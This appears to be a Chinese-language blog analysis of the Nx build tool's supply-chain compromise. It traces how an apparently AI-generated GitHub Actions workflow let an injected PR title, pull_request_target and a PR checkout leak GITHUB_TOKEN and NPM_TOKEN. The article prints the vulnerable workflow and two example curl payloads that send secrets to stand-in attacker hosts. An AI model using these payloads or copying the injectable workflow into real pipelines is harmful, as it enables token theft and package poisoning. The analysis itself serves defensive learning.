AI 编程正在彻底改变软件开发,它能帮我们生成代码、优化逻辑、甚至自动化整个工作流。但这份便利的背后,是否隐藏着我们尚未察觉的危机?
最近,流行的构建工具 Nx 发生了一起严重的安全事件,其官方软件包被植入恶意代码,数千名开发者面临风险。而这起事件的导火索,恰恰与 AI 代码助手(Claude Code)生成的一段代码有关。这不禁让我们警醒:当我们将部分开发任务交给 AI 时,我们是否也把安全风险交了出去?
这不仅仅是一个 bug 的故事,更像是一场由多个“巧合”构成的“完美风暴”。让我们层层深入,复盘这场惊心动魄的供应链攻击。
关于主角:Nx 是什么?
在深入事件之前,我们先简单了解一下“受害者”—— Nx。它是一个顶级的开源构建平台,专为优化大型代码仓库而生。凭借其出色的性能(核心由 Rust 打造)和扩展性(通过 TypeScript 实现),Nx 每天被超过 250 万开发者使用,月均下载量高达 2400 万次,深受 70% 的财富 500 强公司信赖。正是因为它的广泛应用,这次事件才显得尤为严重。
漏洞分析:一场精心策划的“多米诺骨牌”
这次攻击并非源于单一漏洞,而是一系列看似无害的操作环环相扣,最终导致了灾难性的后果。
第一块多米诺骨牌:一个看似无害的 Bash 注入
一切始于一个自动化工作流的 PR。为了规范 PR 标题格式,一位团队成员提交了如下的 GitHub Actions 配置。这段代码由 AI 助手生成,意图是将 PR 标题写入一个临时文件,供后续检查。
- name: Create PR message file
run: |
mkdir -p /tmp
cat > /tmp/pr-message.txt << 'EOF'
${{ github.event.pull_request.title }}
对于经验丰富的开发者来说,这里可能已经响起了警钟。run 脚本直接执行了包含 ${{...}} 的内容,这是一个典型的注入风险点。如果 PR 标题包含可执行命令,比如 $(curl evil.com?token=$SOME_SECRET),这个命令就会在 CI 环境中被执行。
然而,单独看这个漏洞,似乎危害有限。因为这个工作流本身的设计初衷只是检查标题,它并不应该能接触到任何敏感的密钥(Secret)。那么,攻击者是如何突破这层防线的呢?
权限放大器:pull_request_target 的致命诱惑
答案隐藏在工作流的触发器配置中:
on:
pull_request_target:
types: [opened, edited, synchronize, reopened]
这里用的是 pull_request_target,而不是更常见的 pull_request。这二者有天壤之别:
pull_request:工作流在**提交 PR 的分支(fork 仓库)**上运行。权限极低,像个“访客”,无法访问目标仓库的任何机密信息。这是安全的默认选项。pull_request_target:工作流在**接收 PR 的目标仓库(如nrwl/nx)**上下文中运行。权限很高,像个“主人”,可以访问仓库的密钥,包括拥有读写权限的GITHUB_TOKEN。
打个比方,pull_request 是让访客在自家门口展示他的包裹,而 pull_request_target 则是把访客请进你家里,让他用你的工具来开箱。一旦访客心怀不轨,后果不堪设想。
通过这个配置,攻击者提交的恶意 PR 标题,得以在一个高权限环境中执行。第一块多米诺骨牌,推倒了第二块。
第三块多米诺骨牌:瞄准“金库”与致命的 checkout
拿到了高权限的 GITHUB_TOKEN,攻击者是否就能为所欲为了呢?比如直接修改主分支代码?
幸运的是,Nx 团队设置了分支保护规则,这条路被堵死了。但攻击者找到了另一条更隐蔽、也更具破坏性的路径:瞄准权限最高的发布流程——publish.yml。
这个工作流是 Nx 的“心脏”,负责将软件包发布到 npm,因此它能够访问最敏感的机密——NPM_TOKEN。为了保护这个“金库”,Nx 团队设置了重重关卡:
- 严格的访问控制:只有核心团队成员才能触发。
- 严密的密钥作用域:其密钥被严格限定在
nrwl/nx主仓库中使用,任何外部 fork 仓库都无法访问。
表面上看,这套防御体系固若金汤,似乎万无一失。
然而,攻击者发现,最初那个存在漏洞的工作流,本身就藏着一把能打开所有门的“万能钥匙”。这把钥匙就是这一行不起眼的代码:
- name: Checkout code
uses: actions/checkout@v4
这一步的本意是检出代码以进行后续操作。但 GitHub 官方文档曾明确警告:在 pull_request_target 事件触发的工作流中,检出(checkout)来自 PR 的代码是极其危险的行为。
为什么?因为 pull_request_target 的高权限是为执行目标仓库中受信任的代码而设计的。一旦你检出了 PR 分支的代码,就意味着你在一个“主人”权限的环境中,执行了攻击者提交的、完全不可信的代码。
至此,攻击的全貌浮出水面。那个看似只用来检查标题的工作流,因为 pull_request_target 和 checkout 的致命组合,变成了一个潜伏在内部的“特洛伊木马”。它为攻击者提供了一个高权限的立足点,让他们能够从内部攻破那个本应坚不可摧的 publish.yml 流程。
这就好比,你不仅把怀有恶意的“访客”请进了家(pull_request_target),还让他用上了你家的电源,运行他自带的、可能藏有病毒的电脑(checkout PR 分支代码)。而他的目标,正是你家那个看似锁得很牢的保险柜(publish.yml)。
攻击流程复现:黑客的剧本
现在,我们可以更清晰地描绘出攻击者的完整剧本:
- 提交“特洛伊木马”:攻击者向 Nx 仓库提交一个特殊 PR。PR 标题包含恶意命令,如
Fix bug $(curl -X POST https://attacker.com/webhook -d "token=$GITHUB_TOKEN")。 - 窃取“内部通行证”:CI/CD 系统被触发。由于 Bash 注入和
pull_request_target的“完美配合”,高权限的GITHUB_TOKEN被发送到攻击者的服务器。 - “挟天子以令诸侯”:攻击者利用窃取到的
GITHUB_TOKEN,获得了操作 Nx 仓库部分工作流的权限。他们以此为跳板,触发了权限最高的发布流程(publish.yml)。 - 狸猫换太子:在触发发布流程时,攻击者巧妙地利用了前述
checkout漏洞,让流程执行了自己 PR 分支上被篡改过的恶意脚本。这个脚本只有一个目的:将用于发布 npm 包的NPM_TOKEN发送到攻击者的服务器。 - 发布“带毒”版本:攻击者拿到
NPM_TOKEN后,立即登录 npm,发布了多个包含恶意代码的 Nx 软件包新版本。 - 大规模感染:这些“带毒”的软件包中,包含一个恶意的
postinstall钩子。任何开发者只要通过npm install安装了这些版本,钩子就会自动执行,窃取其设备上的敏感信息,并发送给攻击者。
总结与反思:拥抱 AI,但别丢掉安全缰绳
这次 Nx 安全事件为我们敲响了警钟。AI 代码助手是强大的生产力工具,但它目前更擅长生成“功能正确”的代码,而非“安全可靠”的代码。它缺乏对上下文、权限和潜在风险的深刻理解。
我们能从中学到什么?
- AI 是副驾,不是自动驾驶:永远不要盲目信任 AI 生成的代码,尤其是在涉及 CI/CD、权限管理和处理用户输入等安全敏感区域。人类开发者必须是最终的安全审查官。
- 坚守最小权限原则:如非绝对必要,不要使用
pull_request_target。对于需要与 PR 交互的场景,优先考虑更安全的触发方式和权限隔离机制。 - 不要在信任边界上执行不可信代码:在
pull_request_target工作流中检出 PR 分支代码,就是最典型的错误示范。这是一个必须牢记的安全红线。 - 对一切输入保持怀疑:无论是 PR 标题、评论还是代码本身,任何来自用户(包括贡献者)的输入都应被视为不可信,必须经过严格的校验和无害化处理。
- 定期审计自动化流程:CI/CD 流程是现代开发的核心,也正成为攻击者的重点目标。定期审查和加固这些自动化脚本,是保障供应链安全的关键。
AI 编程的浪潮势不可挡,它带来了前所未有的效率提升。但作为开发者,我们必须手握安全缰绳,清醒地认识到工具的局限性,将安全意识融入开发的每一个环节。否则,今天 AI 帮你写的代码,明天可能就成为攻击者利用的漏洞。